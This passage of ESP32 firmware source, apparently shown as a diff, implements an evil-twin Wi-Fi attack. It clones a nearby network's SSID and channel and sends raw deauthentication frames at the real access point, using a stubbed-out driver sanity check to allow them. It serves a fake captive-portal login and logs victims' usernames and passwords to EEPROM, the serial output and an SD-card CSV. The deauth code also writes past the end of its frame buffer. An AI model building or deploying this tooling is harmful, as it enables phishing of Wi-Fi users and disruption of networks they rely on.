strncpy(cred.ssid, ssid.c_str(), 31); - cred.ssid[31] = '\0'; - - int count = EEPROM.read(COUNT_ADDR); - Serial.printf("Before saving, credential count: %d\n", count); - if (count < MAX_CREDS) { - int addr = CRED_ADDR + (count * CRED_SIZE); - EEPROM.put(addr, cred); - count++; - EEPROM.write(COUNT_ADDR, count); - EEPROM.commit(); - Serial.println("Credential saved at address " + String(addr)); - Serial.println("Username: " + String(cred.username)); - Serial.println("Password: " + String(cred.password)); - Serial.println("SSID: " + String(cred.ssid)); - Serial.printf("After saving, credential count: %d\n", count); - } else { - Serial.println("Credential storage full"); - } -} - -static bool cp_sd_mounted = false; - -static bool cpMountSD() { - - if (cp_sd_mounted) { - if (SD.exists("/")) return true; - cp_sd_mounted = false; - } - - bool ok = false; - #ifdef SD_CS - ok = SD.begin(SD_CS); - #endif - #ifdef SD_CS_PIN - if (!ok) { - #ifdef CC1101_CS - if (SD_CS_PIN != CC1101_CS) ok = SD.begin(SD_CS_PIN); - #else - ok = SD.begin(SD_CS_PIN); - #endif - } - #endif - cp_sd_mounted = ok; - return ok; -} - -static bool cpEnsureDir(const char* dirPath) { - if (!cpMountSD()) return false; - if (!SD.exists(dirPath)) { - if (SD.mkdir(dirPath)) return true; - - if (dirPath && dirPath[0] == '/') return SD.mkdir(dirPath + 1); - return false; - } - return true; -} - -static String cpCsvEscape(const String& s) { - bool needsQuotes = false; - for (size_t i = 0; i < s.length(); i++) { - char c = s[i]; - if (c == ',' || c == '"' || c == '\n' || c == '\r') { needsQuotes = true; break; } - } - if (!needsQuotes) return s; - - String out = "\""; - for (size_t i = 0; i < s.length(); i++) { - char c = s[i]; - if (c == '"') out += "\"\""; - else out += c; - } - out += "\""; - return out; -} - -static bool cpAppendLineToFile(const char* path, const String& line) { - if (!cpMountSD()) return false; - - File f = SD.open(path, "a"); - if (!f) { - cp_sd_mounted = false; - if (!cpMountSD()) return false; - f = SD.open(path, "a"); - if (!f) return false; - } - - bool ok = (f.print(line) > 0); - f.flush(); - f.close(); - return ok; -} - -static bool cpAppendCaptureToSD(const String& remoteIp, const String& username, const String& passwordStr, const String& ssid) { - const char* dir = "/captive_portal"; - const char* path = "/captive_portal/captured.csv"; - if (!cpEnsureDir(dir)) return false; - - bool exists = SD.exists(path); - if (!exists) { - if (!cpAppendLineToFile(path, "millis,remote_ip,ssid,username,password\r\n")) return false; - } - - String row; - row.reserve(32 + remoteIp.length() + ssid.length() + username.length() + passwordStr.length()); - row += String(millis()); - row += ","; - row += cpCsvEscape(remoteIp); - row += ","; - row += cpCsvEscape(ssid); - row += ","; - row += cpCsvEscape(username); - row += ","; - row += cpCsvEscape(passwordStr); - row += "\r\n"; - return cpAppendLineToFile(path, row); -} - -static bool cpDumpAllCredentialsToSD(int* outCount) { - if (outCount) *outCount = 0; - const char* dir = "/captive_portal"; - const char* path = "/captive_portal/eeprom_dump.csv"; - if (!cpEnsureDir(dir)) return false; - - int count = EEPROM.read(COUNT_ADDR); - if (count < 0) count = 0; - if (count > MAX_CREDS) count = MAX_CREDS; - - File f = SD.open(path, "w"); - if (!f) { - cp_sd_mounted = false; - if (!cpMountSD()) return false; - f = SD.open(path, "w"); - if (!f) return false; - } - - f.print("index,ssid,username,password\r\n"); - for (int i = 0; i < count; i++) { - Credential cred; - EEPROM.get(CRED_ADDR + (i * CRED_SIZE), cred); - String line; - line.reserve(16 + strlen(cred.ssid) + strlen(cred.username) + strlen(cred.password)); - line += String(i); - line += ","; - line += cpCsvEscape(String(cred.ssid)); - line += ","; - line += cpCsvEscape(String(cred.username)); - line += ","; - line += cpCsvEscape(String(cred.password)); - line += "\r\n"; - f.print(line); - } - f.flush(); - f.close(); - if (outCount) *outCount = count; - return true; -} - -static void cpCredListStatus(const String& msg, uint16_t color) { - const int y = 272; - tft.fillRect(0, y, 240, 16, TFT_BLACK); - tft.setTextColor(color, TFT_BLACK); - tft.setTextSize(1); - tft.setCursor(2, y + 4); - tft.print(msg); -} - -static void cpStartDeauth(const String& ssid, const uint8_t* bssid, uint8_t channel) { - if (cp_deauth_active) return; - - memset(&cp_target_ap, 0, sizeof(cp_target_ap)); - strcpy((char*)cp_target_ap.ssid, ssid.c_str()); - memcpy(cp_target_ap.bssid, bssid, 6); - cp_target_ap.primary = channel; - cp_target_channel = channel; - - cp_deauth_active = true; - cp_deauth_packet_count = 0; - cp_deauth_success_count = 0; - cp_last_deauth_time = 0; - - Serial.printf("[CP Deauth] Starting deauth against cloned AP: %s CH=%u\n", ssid.c_str(), channel); -} - -static void cpStopDeauth() { - if (!cp_deauth_active) return; - - cp_deauth_active = false; - Serial.printf("[CP Deauth] Stopped deauth (packets: %u, success: %u)\n", - (unsigned)cp_deauth_packet_count, (unsigned)cp_deauth_success_count); -} - -static void cpSendDeauthFrame() { - if (!cp_deauth_active) return; - - esp_wifi_set_channel(cp_target_channel, WIFI_SECOND_CHAN_NONE); - - memcpy(cp_deauth_frame, cp_deauth_frame_default, 26); - memcpy(&cp_deauth_frame[10], cp_target_ap.bssid, 6); - memcpy(&cp_deauth_frame[16], cp_target_ap.bssid, 6); - cp_deauth_frame[26] = 7; - Deauther::wsl_bypasser_send_raw_frame(cp_deauth_frame, 26); - - memcpy(cp_deauth_frame, cp_deauth_frame_default, 26); - memcpy(&cp_deauth_frame[10], cp_target_ap.bssid, 6); - memcpy(&cp_deauth_frame[16], cp_target_ap.bssid, 6); - - memset(&cp_deauth_frame[4], 0xFF, 6); - cp_deauth_frame[26] = 7; - Deauther::wsl_bypasser_send_raw_frame(cp_deauth_frame, 26); - - cp_deauth_packet_count += 2; -} - -static void handleGenerate204() { - Serial.println("Android /generate_204 requested"); - displayPrint("Android /generate_204 requested", GREEN, false); - server.sendHeader("Location", "/login.html", true); - server.send(302, "text/plain", ""); -} - -static void handleHotspotDetect() { - Serial.println("iOS /hotspot-detect.html requested"); - displayPrint("iOS /hotspot-detect.html requested", GREEN, false); - server.send(200, "text/html", loginPage); -} - -static void handleCaptiveApple() { - Serial.println("iOS /captive.apple.com requested"); - displayPrint("iOS /captive.apple.com requested", GREEN, false); - server.send(200, "text/html", "SuccessSuccess"); -} - -static void handleNCSITxt() { - Serial.println("Windows /ncsi.txt requested"); - displayPrint("Windows /ncsi.txt requested", GREEN, false); - server.send(200, "text/plain", "Microsoft NCSI"); -} - -static void handleConnectTestTxt() { - Serial.println("Windows /connecttest.txt requested"); - displayPrint("Windows /connecttest.txt requested", GREEN, false); - server.send(200, "text/plain", "Microsoft Connect Test"); -} - -static void handleLoginPage() { - Serial.println("Login page (/login.html) requested"); - displayPrint("Login page (/login.html) requested", GREEN, false); - server.send(200, "text/html", loginPage); -} - -static void handleRoot() { - Serial.println("Root (/) requested"); - displayPrint("Root (/) requested", GREEN, false); - server.send(200, "text/html", loginPage); -} - -static void handleLoginPost() { - String username = server.arg("username"); - String password = server.arg("password"); - String remoteIp = server.client().remoteIP().toString(); - Serial.println("Captured Credentials:"); - Serial.println("Username: " + username); - Serial.println("Password: " + password); - Serial.println("SSID: " + String(custom_ssid)); - saveCredential(username, password, custom_ssid); - if (cpAppendCaptureToSD(remoteIp, username, password, String(custom_ssid))) { - Serial.println("[SD] Captive capture appended to /captive_portal/captured.csv"); - } else { - Serial.println("[SD] Captive capture export failed (SD not mounted / write error)"); - } - server.send(200, "text/html", "

Login Successful!

You are now connected.

"); -} - -static void handleNotFound() { - Serial.println("Not found: " + server.uri()); - server.sendHeader("Location", "/login.html", true); - server.send(302, "text/plain", ""); -} - -void setupWebServer() { - server.on("/generate_204", HTTP_GET, static_cast(handleGenerate204)); - server.on("/hotspot-detect.html", HTTP_GET, static_cast(handleHotspotDetect)); - server.on("/captive.apple.com", HTTP_GET, static_cast(handleCaptiveApple)); - server.on("/ncsi.txt", HTTP_GET, static_cast(handleNCSITxt)); - server.on("/connecttest.txt", HTTP_GET, static_cast(handleConnectTestTxt)); - server.on("/login.html", HTTP_GET, static_cast(handleLoginPage)); - server.on("/", HTTP_GET, static_cast(handleRoot)); - server.on("/login", HTTP_POST, static_cast(handleLoginPost)); - server.onNotFound(static_cast(handleNotFound)); -} - -void loadSSID() { - String savedSSID = ""; - for (int i = 0; i < 32; i++) { - char c = EEPROM.read(SSID_ADDR + i); - if (c == 0) break; - savedSSID += c; - } - if (savedSSID.length() > 0) { - savedSSID.toCharArray(custom_ssid, 32); - } else { - strcpy(custom_ssid, default_ssid); - } -} - -void saveSSID(String ssid) { - for (int i = 0; i < 32; i++) { - if (i < ssid.length()) { - EEPROM.write(SSID_ADDR + i, ssid[i]); - } else { - EEPROM.write(SSID_ADDR + i, 0); - } - } - EEPROM.commit(); - ssid.toCharArray(custom_ssid, 32); - if (attackActive) { - WiFi.softAPdisconnect(true); - WiFi.softAP(custom_ssid, password, ap_channel); - Serial.println("New SSID set: " + String(custom_ssid)); - } -} - -void deleteCredential(int index) { - int count = EEPROM.read(COUNT_ADDR); - if (index < 0 || index >= count) { - Serial.println("Invalid credential index: " + String(index)); - return; - } - - for (int i = index; i < count - 1; i++) { - Credential cred; - EEPROM.get(CRED_ADDR + ((i + 1) * CRED_SIZE), cred); - EEPROM.put(CRED_ADDR + (i * CRED_SIZE), cred); - } - - count--; - EEPROM.write(COUNT_ADDR, count); - EEPROM.commit(); - Serial.println("Credential deleted at index " + String(index)); - Serial.printf("New credential count: %d\n", count); -} - -void clearAllCredentials() { - EEPROM.put(COUNT_ADDR, (uint32_t)0); - - int endAddr = CRED_ADDR + (MAX_CREDS * CRED_SIZE); - if (endAddr > COUNT_ADDR) { - Serial.println("Error: Credential clear would overwrite counter!"); - endAddr = COUNT_ADDR; - } - for (int i = CRED_ADDR; i < endAddr; i++) { - EEPROM.write(i, 0); - } - EEPROM.commit(); - Serial.println("All credentials cleared from " + String(CRED_ADDR) + " to " + String(endAddr - 1)); -} - -static void cpDrawCloneFrame(const char* title) { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setTextSize(1); - tft.setTextColor(GREEN, TFT_BLACK); - tft.setCursor(8, 45); - tft.println(title); -} - -static void cpDrawCloneFooter(bool prevEnabled, bool nextEnabled) { - - FeatureUI::drawFooterBg(); - - FeatureUI::Button btns[4]; - - FeatureUI::layoutFooter4( - btns, - "Back", FeatureUI::ButtonStyle::Secondary, - "Scan", FeatureUI::ButtonStyle::Secondary, - "Prev", FeatureUI::ButtonStyle::Secondary, - "Next", FeatureUI::ButtonStyle::Secondary, - false, false, !prevEnabled, !nextEnabled - ); - - for (int i = 0; i < 4; ++i) { - FeatureUI::drawButtonRect(btns[i].x, btns[i].y, btns[i].w, btns[i].h, - btns[i].label, btns[i].style, - false, btns[i].disabled, - 1); - } -} - -static bool cpCloneScanAndSelect(String& outSsid, uint8_t& outChannel, uint8_t outBssid[6]) { - const int MAX_RESULTS = 40; - const int rowsPerPage = 12; - - while (true) { - - if (feature_active && isButtonPressed(BTN_SELECT)) return false; - - cpDrawCloneFrame("Scanning..."); - loading(90, ORANGE, 0, 0, 2, true); - - WiFi.scanDelete(); - int n = WiFi.scanNetworks(false, true); - if (n <= 0) { - cpDrawCloneFrame("No networks found"); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(8, 62); - tft.println("Tap Scan, or Back."); - cpDrawCloneFooter(false, false); - - int x, y; - while (!readTouchXY(x, y)) delay(10); - delay(200); - const int footerY = tft.height() - FeatureUI::FOOTER_H; - if (y >= footerY) { - if (x < 60) return false; - if (x < 120) continue; - } - continue; - } - - int count = min(n, MAX_RESULTS); - int idx[MAX_RESULTS]; - for (int i = 0; i < count; i++) idx[i] = i; - - for (int i = 0; i < count - 1; i++) { - int best = i; - for (int j = i + 1; j < count; j++) { - if (WiFi.RSSI(idx[j]) > WiFi.RSSI(idx[best])) best = j; - } - if (best != i) { - int tmp = idx[i]; - idx[i] = idx[best]; - idx[best] = tmp; - } - } - - int page = 0; - while (true) { - if (feature_active && isButtonPressed(BTN_SELECT)) return false; - - cpDrawCloneFrame("Clone Access Point"); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(8, 62); - tft.println("Tap a network to clone SSID+CH"); - - int totalPages = (count + rowsPerPage - 1) / rowsPerPage; - tft.setTextColor(GREEN, TFT_BLACK); - tft.setCursor(180, 45); - tft.printf("%d/%d", page + 1, max(1, totalPages)); - - int y = 80; - int start = page * rowsPerPage; - int end = min(start + rowsPerPage, count); - for (int row = start; row < end; row++) { - int real = idx[row]; - String ssid = WiFi.SSID(real); - int rssi = WiFi.RSSI(real); - int ch = WiFi.channel(real); - uint8_t auth = WiFi.encryptionType(real); - const char* enc = (auth == WIFI_AUTH_OPEN) ? "OPEN" : "SEC"; - - String disp = ssid; - if (disp.length() > 14) disp = disp.substring(0, 14) + "..."; - - char buf[64]; - snprintf(buf, sizeof(buf), "%02d %-17s %3d Ch%2d %s", row + 1, disp.c_str(), rssi, ch, enc); - - uint16_t color = (auth == WIFI_AUTH_OPEN) ? ORANGE : TFT_WHITE; - tft.setTextColor(color, TFT_BLACK); - tft.setCursor(8, y); - tft.println(buf); - y += 16; - } - - bool prevEnabled = page > 0; - bool nextEnabled = (page + 1) * rowsPerPage < count; - cpDrawCloneFooter(prevEnabled, nextEnabled); - - int tx, ty; - while (!readTouchXY(tx, ty)) delay(10); - delay(200); - - const int footerY = tft.height() - FeatureUI::FOOTER_H; - if (ty >= footerY) { - if (tx < 60) return false; - if (tx < 120) break; - if (tx < 180 && prevEnabled) { page--; continue; } - if (tx >= 180 && nextEnabled) { page++; continue; } - continue; - } - - if (ty >= 80 && ty < 80 + (rowsPerPage * 16)) { - int clickedOffset = (ty - 80) / 16; - int absoluteRow = page * rowsPerPage + clickedOffset; - if (absoluteRow >= start && absoluteRow < end) { - int real = idx[absoluteRow]; - outSsid = WiFi.SSID(real); - outChannel = (uint8_t)WiFi.channel(real); - - memcpy(outBssid, WiFi.BSSID(real), 6); - return true; - } - } - } - } -} - -static void cpCloneExistingAPFlow() { - bool wasActive = attackActive; - if (attackActive) stopAttack(); - - WiFi.mode(WIFI_STA); - WiFi.disconnect(true); - delay(100); - - String chosen; - uint8_t ch = 1; - uint8_t bssid[6] = {0}; - bool ok = cpCloneScanAndSelect(chosen, ch, bssid); - WiFi.scanDelete(); - - if (!ok) { - if (wasActive) startAttack(); - drawMainMenu(); - return; - } - - ap_channel = (ch == 0 ? 1 : ch); - saveSSID(chosen); - Serial.printf("[CP] Cloned AP: SSID='%s' CH=%u\n", custom_ssid, (unsigned)ap_channel); - - memset(&cp_target_ap, 0, sizeof(cp_target_ap)); - strcpy((char*)cp_target_ap.ssid, chosen.c_str()); - memcpy(cp_target_ap.bssid, bssid, 6); - cp_target_ap.primary = ap_channel; - - cpStartDeauth(chosen, bssid, ap_channel); - - delay(500); - - startAttack(); - drawMainMenu(); -} - -void drawMainMenu() { - currentScreen = MAIN_MENU; - - tft.setTextSize(1); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - displayPrint("Current SSID:", GREEN, false); - displayPrint(custom_ssid, WHITE, false); - displayPrint("...", GREEN, false); - - displayPrint("Channel: " + String(ap_channel), GREEN, false); - displayPrint(attackActive ? "Status: Active" : "Status: Inactive", GREEN, false); - if (cp_deauth_active) { - char buf[32]; - snprintf(buf, sizeof(buf), "Evil Twin: %u pkts", (unsigned)cp_deauth_packet_count); - displayPrint(buf, ORANGE, false); - } -} - -void drawInputField() { - tft.fillRect(10, 55, 220, 25, TFT_DARKGREY); - tft.drawRect(9, 54, 222, 27, ORANGE); - tft.setTextColor(TFT_WHITE); - tft.setTextSize(2); - tft.setCursor(15, 60); - String displayText = inputSSID; - if (cursorState && keyboardActive) { - displayText += "|"; - } - tft.println(displayText); -} - -void drawKeyboard() { - currentScreen = KEYBOARD; - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - tft.setTextColor(ORANGE); - tft.setTextSize(1); - tft.setCursor(1, 230); - tft.println("[!] Set the SSID that your AP will use"); - tft.setCursor(20, 245); - tft.println("to host the captive portal."); - - tft.setCursor(1, 270); - tft.println("[!] Shuffle: Randomly generates SSID"); - tft.setCursor(20, 285); - tft.println("suggestions for your access point."); - - drawInputField(); - - int yOffset = 95; - for (int row = 0; row < 4; row++) { - int xOffset = 1; - for (int col = 0; col < strlen(keyboardLayout[row]); col++) { - tft.fillRect(xOffset, yOffset, keyWidth, keyHeight, TFT_DARKGREY); - tft.setTextColor(TFT_WHITE); - tft.setTextSize(1); - tft.setCursor(xOffset + 6, yOffset + 5); - tft.print(keyboardLayout[row][col]); - Serial.printf("Key %c at x=%d-%d, y=%d-%d\n", keyboardLayout[row][col], xOffset, xOffset + keyWidth, yOffset, yOffset + keyHeight); - xOffset += keyWidth + keySpacing; - } - yOffset += keyHeight + keySpacing; - } - -tft.setTextColor(ORANGE); -tft.setTextSize(1); -tft.setTextDatum(MC_DATUM); - -tft.fillRoundRect(5, 185, 70, 25, 4, DARK_GRAY); -tft.drawRoundRect(5, 185, 70, 25, 4, ORANGE); -tft.drawString("Back", 40, 197); -Serial.printf("Back button at x=5-75, y=185-210\n"); - -tft.fillRoundRect(85, 185, 70, 25, 4, DARK_GRAY); -tft.drawRoundRect(85, 185, 70, 25, 4, ORANGE); -tft.drawString("Shuffle", 120, 197); -Serial.printf("Series button at x=85-155, y=185-210\n"); - -tft.fillRoundRect(165, 185, 70, 25, 4, DARK_GRAY); -tft.drawRoundRect(165, 185, 70, 25, 4, ORANGE); -tft.drawString("OK", 200, 197); -Serial.printf("OK button at x=165-235, y=185-210\n"); -} - -void drawCredList() { - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - tft.setTextColor(TFT_WHITE); - tft.setTextSize(1); - tft.setCursor(0, 50); - tft.println("Credentials List:"); - - tft.setCursor(0, 70); - tft.print("User"); - tft.setCursor(80, 70); - tft.print("Pass"); - tft.setCursor(160, 70); - tft.print("SSID"); - tft.drawLine(0, 80, 245, 80, TFT_WHITE); - - int count = EEPROM.read(COUNT_ADDR); - Serial.printf("Reading %d credentials from EEPROM\n", count); - - int startIdx = credPage * 18; - int yOffset = 90; - - if (count == 0) { - tft.setCursor(0, yOffset); - tft.println("No credentials"); - Serial.println("No credentials found"); - } else { - for (int i = startIdx; i < min(count, startIdx + 18); i++) { - Credential cred; - EEPROM.get(CRED_ADDR + (i * CRED_SIZE), cred); - Serial.printf("Credential %d at address %d: User=%s, Pass=%s, SSID=%s\n", - i, CRED_ADDR + (i * CRED_SIZE), cred.username, cred.password, cred.ssid); - - tft.setTextColor(TFT_WHITE); - tft.setCursor(0, yOffset); - tft.println(cred.username); - tft.setCursor(80, yOffset); - tft.println(cred.password); - tft.setCursor(160, yOffset); - tft.println(cred.ssid); - - tft.setTextColor(UI_WARN); - tft.setCursor(223, yOffset - 1); - tft.println("X"); - - yOffset += 10; - } - } - -int buttonY = 290; -tft.setTextColor(ORANGE); -tft.setTextSize(1); -tft.setTextDatum(MC_DATUM); - -tft.fillRoundRect(5, buttonY, 50, 20, 8, DARK_GRAY); -tft.drawRoundRect(5, buttonY, 50, 20, 8, ORANGE); -tft.drawString("Back", 30, buttonY + 10); - -tft.fillRoundRect(65, buttonY, 50, 20, 8, DARK_GRAY); -tft.drawRoundRect(65, buttonY, 50, 20, 8, ORANGE); -tft.drawString("Clear", 90, buttonY + 10); - -tft.fillRoundRect(125, buttonY, 50, 20, 8, DARK_GRAY); -tft.drawRoundRect(125, buttonY, 50, 20, 8, ORANGE); -tft.drawString("Export", 150, buttonY + 10); - -if (credPage > 0) { - tft.fillRoundRect(185, buttonY, 50, 20, 8, DARK_GRAY); - tft.drawRoundRect(185, buttonY, 50, 20, 8, ORANGE); - tft.drawString("Prev", 210, buttonY + 10); -} else if (count > (credPage + 1) * 15) { - tft.fillRoundRect(185, buttonY, 50, 20, 8, DARK_GRAY); - tft.drawRoundRect(185, buttonY, 50, 20, 8, ORANGE); - tft.drawString("Next", 210, buttonY + 10); -} - -} - -void stopAttack() { - if (attackActive) { - WiFi.softAPdisconnect(true); - Serial.println("Access Point stopped"); - displayPrint("Access Point stopped", GREEN, false); - - dnsServer.stop(); - Serial.println("DNS server stopped"); - displayPrint("DNS server stopped", GREEN, false); - - server.close(); - Serial.println("Web server stopped"); - displayPrint("Web server stopped", GREEN, false); - - cpStopDeauth(); - - attackActive = false; - drawMainMenu(); - } else { - Serial.println("Attack already inactive"); - displayPrint("Attack already inactive", GREEN, false); - } -} - -void startAttack() { - if (!attackActive) { - WiFi.mode(WIFI_AP); - WiFi.softAP(custom_ssid, password, ap_channel); - Serial.println("Access Point started"); - Serial.print("IP Address: "); - Serial.println(WiFi.softAPIP()); - int ip = WiFi.softAPIP(); - displayPrint("Access Point started", GREEN, false); - - dnsServer.setErrorReplyCode(DNSReplyCode::NoError); - dnsServer.start(DNS_PORT, "*", WiFi.softAPIP()); - Serial.println("DNS server started"); - displayPrint("DNS server started", GREEN, false); - - setupWebServer(); - server.begin(); - Serial.println("Web server started"); - displayPrint("Web server started", GREEN, false); - - attackActive = true; - drawMainMenu(); - } else { - Serial.println("Attack already active"); - displayPrint("Attack already active", GREEN, false); - } -} - -void handleMainMenu(int x, int y) { - (void)x; - (void)y; -} - -void handleKeyboard(int x, int y) { - (void)x; - (void)y; -} - -void handleCredList(int x, int y) { - int count = EEPROM.read(COUNT_ADDR); - int startIdx = credPage * 18; - int yOffset = 80; - - for (int i = startIdx; i < min(count, startIdx + 18); i++) { - if (x >= 220 && x <= 230 && y >= yOffset - 3 && y <= yOffset + 7) { - Serial.println("Delete button pressed for credential " + String(i)); - deleteCredential(i); - drawCredList(); - return; - } - yOffset += 10; - } - - int buttonY = 290; - - if (x >= 5 && x <= 55 && y >= buttonY && y <= buttonY + 20) { - Serial.println("Back button pressed"); - currentScreen = MAIN_MENU; - drawMainMenu(); - } - if (x >= 65 && x <= 115 && y >= buttonY && y <= buttonY + 20) { - Serial.println("Clear All button pressed"); - clearAllCredentials(); - credPage = 0; - drawCredList(); - } - if (x >= 125 && x <= 175 && y >= buttonY && y <= buttonY + 20) { - Serial.println("Export button pressed"); - int dumped = 0; - if (cpDumpAllCredentialsToSD(&dumped)) { - cpCredListStatus("Exported " + String(dumped) + " -> SD:/captive_portal/eeprom_dump.csv", TFT_GREEN); - } else { - cpCredListStatus("Export failed: SD not ready", TFT_RED); - } - } - if (credPage > 0 && x >= 185 && x <= 235 && y >= buttonY && y <= buttonY + 20) { - Serial.println("Prev button pressed"); - credPage--; - drawCredList(); - } else if (count > (credPage + 1) * 15 && x >= 185 && x <= 235 && y >= buttonY && y <= buttonY + 20) { - Serial.println("Next button pressed"); - credPage++; - drawCredList(); - } -} - -static bool uiDrawn = false; - -void runUI() { -#define SCREEN_WIDTH 240 -#define SCREENHEIGHT 320 -#define STATUS_BAR_Y_OFFSET 20 -#define STATUS_BAR_HEIGHT 16 -#define ICON_SIZE 16 -#define ICON_NUM 6 - - static int iconX[ICON_NUM] = {90, 130, 170, 210, 50, 10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_dialog, - bitmap_icon_list, - bitmap_icon_antenna, - bitmap_icon_power, - bitmap_icon_wifi2, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - static unsigned long lastSpamTime = 0; - - switch (animationState) { - case 0: - break; - - case 1: - if (millis() - lastAnimationTime >= 150) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - lastAnimationTime = millis(); - } - break; - - case 2: - if (millis() - lastAnimationTime >= 200) { - animationState = 3; - lastAnimationTime = millis(); - } - break; - - case 3: - switch (activeIcon) { - case 0: { - - OnScreenKeyboardConfig cfg; - cfg.titleLine1 = "[!] Set the SSID that your AP will use"; - cfg.titleLine2 = "to host the captive portal."; - cfg.rows = keyboardLayout; - cfg.rowCount = 4; - cfg.maxLen = 31; - cfg.shuffleNames = seriesSSIDs; - cfg.shuffleCount = numSeriesSSIDs; - cfg.buttonsY = 195; - cfg.backLabel = "Back"; - cfg.middleLabel = "Shuffle"; - cfg.okLabel = "OK"; - cfg.enableShuffle = true; - cfg.requireNonEmpty = true; - cfg.emptyErrorMsg = "SSID cannot be empty!"; - - OnScreenKeyboardResult r = showOnScreenKeyboard(cfg, inputSSID); - if (r.accepted && r.text.length() > 0) { - inputSSID = r.text; - saveSSID(inputSSID); - } - drawMainMenu(); - animationState = 0; - activeIcon = -1; - break; - } - case 1: - currentScreen = CRED_LIST; - credPage = 0; - drawCredList(); - animationState = 0; - activeIcon = -1; - break; - case 2: - startAttack(); - animationState = 0; - activeIcon = -1; - break; - case 3: - stopAttack(); - animationState = 0; - activeIcon = -1; - break; - - case 4: - cpCloneExistingAPFlow(); - animationState = 0; - activeIcon = -1; - break; - - case 5: - feature_exit_requested = true; - animationState = 0; - activeIcon = -1; - break; - } - break; - - case 4: break; - case 5: break; - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (currentScreen == KEYBOARD) { - handleKeyboard(x, y); - } else if (currentScreen == CRED_LIST) { - handleCredList(x, y); - } else { - handleMainMenu(x, y); - } - - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 5) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void cportalSetup() { - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, 37, 240, 320, TFT_BLACK); - - uiDrawn = false; - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - runUI(); - - EEPROM.begin(EEPROM_SIZE); - int count = EEPROM.read(COUNT_ADDR); - if (count > MAX_CREDS || count < 0) { - Serial.println("Invalid credential count, resetting to 0"); - EEPROM.write(COUNT_ADDR, 0); - EEPROM.commit(); - } - loadSSID(); - - startAttack(); - - drawMainMenu(); - setupTouchscreen(); -} - -void cportalLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - - updateStatusBar(); - runUI(); - - if (attackActive) { - dnsServer.processNextRequest(); - server.handleClient(); - - unsigned long now = millis(); - if (cp_deauth_active && now - cp_last_deauth_time >= 50) { - cpSendDeauthFrame(); - cp_last_deauth_time = now; - } - } - - if (currentScreen == KEYBOARD) { - unsigned long now = millis(); - if (now - lastCursorToggle >= 500) { - cursorState = !cursorState; - lastCursorToggle = now; - drawInputField(); - } - } - } -} - -namespace Deauther { - -#define SCREEN_WIDTH 240 -#define SCREEN_HEIGHT 320 - -uint8_t deauth_frame_default[26] = { - 0xC0, 0x00, - 0x00, 0x00, - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, - 0x00, 0x00, - 0x01, 0x00 -}; -uint8_t deauth_frame[sizeof(deauth_frame_default)]; - -uint32_t packet_count = 0; -uint32_t success_count = 0; -uint32_t consecutive_failures = 0; -bool attack_running = false; -wifi_ap_record_t selectedAp; -uint8_t selectedChannel; -int selected_ap_index = -1; -int network_count = 0; -wifi_ap_record_t *ap_list = nullptr; -bool scanning = false; -uint32_t last_packet_time = 0; -int current_page = 0; -const int networks_per_page = 14; - -extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3) { - return 0; -} - -void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size) { - esp_err_t res = esp_wifi_80211_tx(WIFI_IF_AP, frame_buffer, size, false); - packet_count++; - if (res == ESP_OK) { - success_count++; - consecutive_failures = 0; - } else { - consecutive_failures++; - - } -} - -void wsl_bypasser_send_deauth_frame(const wifi_ap_record_t *ap_record, uint8_t chan) { - esp_wifi_set_channel(chan, WIFI_SECOND_CHAN_NONE); - memcpy(deauth_frame, deauth_frame_default, sizeof(deauth_frame_default)); - memcpy(&deauth_frame[10], ap_record->bssid, 6); - memcpy(&deauth_frame[16], ap_record->bssid, 6); - deauth_frame[26] = 7; - - wsl_bypasser_send_raw_frame(deauth_frame, sizeof(deauth_frame)); -} - -int compare_ap(const void *a, const void *b) { - wifi_ap_record_t *ap1 = (wifi_ap_record_t *)a; - wifi_ap_record_t *ap2 = (wifi_ap_record_t *)b; - return ap2->rssi - ap1->rssi; -} - -void drawButton(int x, int y, int w, int h, const char* label, bool highlight, bool disabled) { - - FeatureUI::ButtonStyle style = highlight ? FeatureUI::ButtonStyle::Primary - 